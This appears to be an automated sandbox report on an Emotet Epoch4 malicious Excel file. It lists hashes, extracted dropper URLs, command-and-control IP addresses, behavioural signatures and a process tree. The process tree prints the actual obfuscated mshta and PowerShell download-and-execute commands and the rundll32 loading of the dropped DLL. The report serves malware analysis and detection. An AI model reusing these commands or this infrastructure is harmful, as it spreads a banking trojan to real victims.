emotet | 561f1541d1ce60dd8a10c61c54f99d83e67ed86b0f645a6e564a99baa08f56b3

General

Target

561f1541d1ce60dd8a10c61c54f99d83e67ed86b0f645a6e564a99baa08f56b3.xls
Size

70KB
MD5

74ef2589b372f105b31d69b352aec951
SHA1

2f12a5d662ee51bf73e7ddc2e04c7c018f367e36
SHA256

561f1541d1ce60dd8a10c61c54f99d83e67ed86b0f645a6e564a99baa08f56b3
SHA512

a5b2124f45034be6c2450a0623439fddf8251f431057ab004da9601f07f814ff6a5db6dbd74f09486ee5ed129a7c514effb999db0181161acaee856f529c7c4b

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fe2.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2136	2452	cmd.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
24	2488	mshta.exe
31	1752	powershell.exe
33	1752	powershell.exe
41	1792	rundll32.exe
42	1792	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
2696	rundll32.exe
3188	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Hnuxjepwmieg\jnzx.xvi	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1048	2488	WerFault.exe	73

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2452	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1752	powershell.exe
1752	powershell.exe
1048	WerFault.exe
1048	WerFault.exe
1048	WerFault.exe
1048	WerFault.exe
1048	WerFault.exe
1048	WerFault.exe
1048	WerFault.exe
1048	WerFault.exe
1048	WerFault.exe
1048	WerFault.exe
1048	WerFault.exe
1048	WerFault.exe
1048	WerFault.exe
1048	WerFault.exe
1752	powershell.exe
1792	rundll32.exe
1792	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1752	powershell.exe
Token: SeDebugPrivilege	1048	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2452 wrote to memory of 2136	2452	EXCEL.EXE	71
PID 2452 wrote to memory of 2136	2452	EXCEL.EXE	71
PID 2136 wrote to memory of 2488	2136	cmd.exe	73
PID 2136 wrote to memory of 2488	2136	cmd.exe	73
PID 2488 wrote to memory of 1752	2488	mshta.exe	75
PID 2488 wrote to memory of 1752	2488	mshta.exe	75
PID 1752 wrote to memory of 3648	1752	powershell.exe	78
PID 1752 wrote to memory of 3648	1752	powershell.exe	78
PID 3648 wrote to memory of 2696	3648	cmd.exe	79
PID 3648 wrote to memory of 2696	3648	cmd.exe	79
PID 3648 wrote to memory of 2696	3648	cmd.exe	79
PID 2696 wrote to memory of 3188	2696	rundll32.exe	80
PID 2696 wrote to memory of 3188	2696	rundll32.exe	80
PID 2696 wrote to memory of 3188	2696	rundll32.exe	80
PID 3188 wrote to memory of 1392	3188	rundll32.exe	81
PID 3188 wrote to memory of 1392	3188	rundll32.exe	81
PID 3188 wrote to memory of 1392	3188	rundll32.exe	81
PID 1392 wrote to memory of 1792	1392	rundll32.exe	82
PID 1392 wrote to memory of 1792	1392	rundll32.exe	82
PID 1392 wrote to memory of 1792	1392	rundll32.exe	82

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\561f1541d1ce60dd8a10c61c54f99d83e67ed86b0f645a6e564a99baa08f56b3.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2452
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2136
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:2488
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1752
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3648
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2696
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3188
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hnuxjepwmieg\jnzx.xvi",xqswjg
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1392
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Hnuxjepwmieg\jnzx.xvi",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1792
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2488 -s 1724
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1048

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1392-333-0x0000000004060000-0x0000000004086000-memory.dmp

Filesize
152KB

Download
memory/1752-305-0x000001F3BDD93000-0x000001F3BDD95000-memory.dmp

Filesize
8KB

Download
memory/1752-310-0x000001F3BDD96000-0x000001F3BDD98000-memory.dmp

Filesize
8KB

Download
memory/1752-304-0x000001F3BDD90000-0x000001F3BDD92000-memory.dmp

Filesize
8KB

Download
memory/1752-273-0x000001F3BDD40000-0x000001F3BDD62000-memory.dmp

Filesize
136KB

Download
memory/1752-292-0x000001F3BE120000-0x000001F3BE15C000-memory.dmp

Filesize
240KB

Download
memory/1752-303-0x000001F3BE440000-0x000001F3BE4B6000-memory.dmp

Filesize
472KB

Download
memory/1792-343-0x0000000004E00000-0x0000000004E26000-memory.dmp

Filesize
152KB

Download
memory/1792-353-0x0000000005320000-0x0000000005346000-memory.dmp

Filesize
152KB

Download
memory/1792-349-0x00000000050B0000-0x00000000050D6000-memory.dmp

Filesize
152KB

Download
memory/1792-347-0x0000000004FC0000-0x0000000004FE6000-memory.dmp

Filesize
152KB

Download
memory/1792-345-0x0000000004EE0000-0x0000000004F06000-memory.dmp

Filesize
152KB

Download
memory/1792-341-0x0000000004D20000-0x0000000004D46000-memory.dmp

Filesize
152KB

Download
memory/1792-351-0x00000000052A0000-0x00000000052C6000-memory.dmp

Filesize
152KB

Download
memory/1792-339-0x0000000004C40000-0x0000000004C66000-memory.dmp

Filesize
152KB

Download
memory/1792-336-0x0000000004530000-0x0000000004556000-memory.dmp

Filesize
152KB

Download
memory/2452-117-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2452-377-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2452-376-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2452-116-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2452-378-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2452-379-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2452-129-0x00007FFFAB270000-0x00007FFFAB280000-memory.dmp

Filesize
64KB

Download
memory/2452-115-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2452-118-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2452-127-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

Filesize
64KB

Download
memory/2452-128-0x00007FFFAB270000-0x00007FFFAB280000-memory.dmp

Filesize
64KB

Download
memory/2696-320-0x00000000047D0000-0x00000000047F6000-memory.dmp

Filesize
152KB

Download
memory/3188-323-0x0000000004DC0000-0x0000000004DE6000-memory.dmp

Filesize
152KB

Download
memory/3188-334-0x0000000005720000-0x0000000005746000-memory.dmp

Filesize
152KB

Download
memory/3188-331-0x00000000055C0000-0x00000000055E6000-memory.dmp

Filesize
152KB

Download
memory/3188-329-0x0000000005560000-0x0000000005586000-memory.dmp

Filesize
152KB

Download
memory/3188-327-0x00000000053C0000-0x00000000053E6000-memory.dmp

Filesize
152KB

Download
memory/3188-325-0x00000000052E0000-0x0000000005306000-memory.dmp

Filesize
152KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads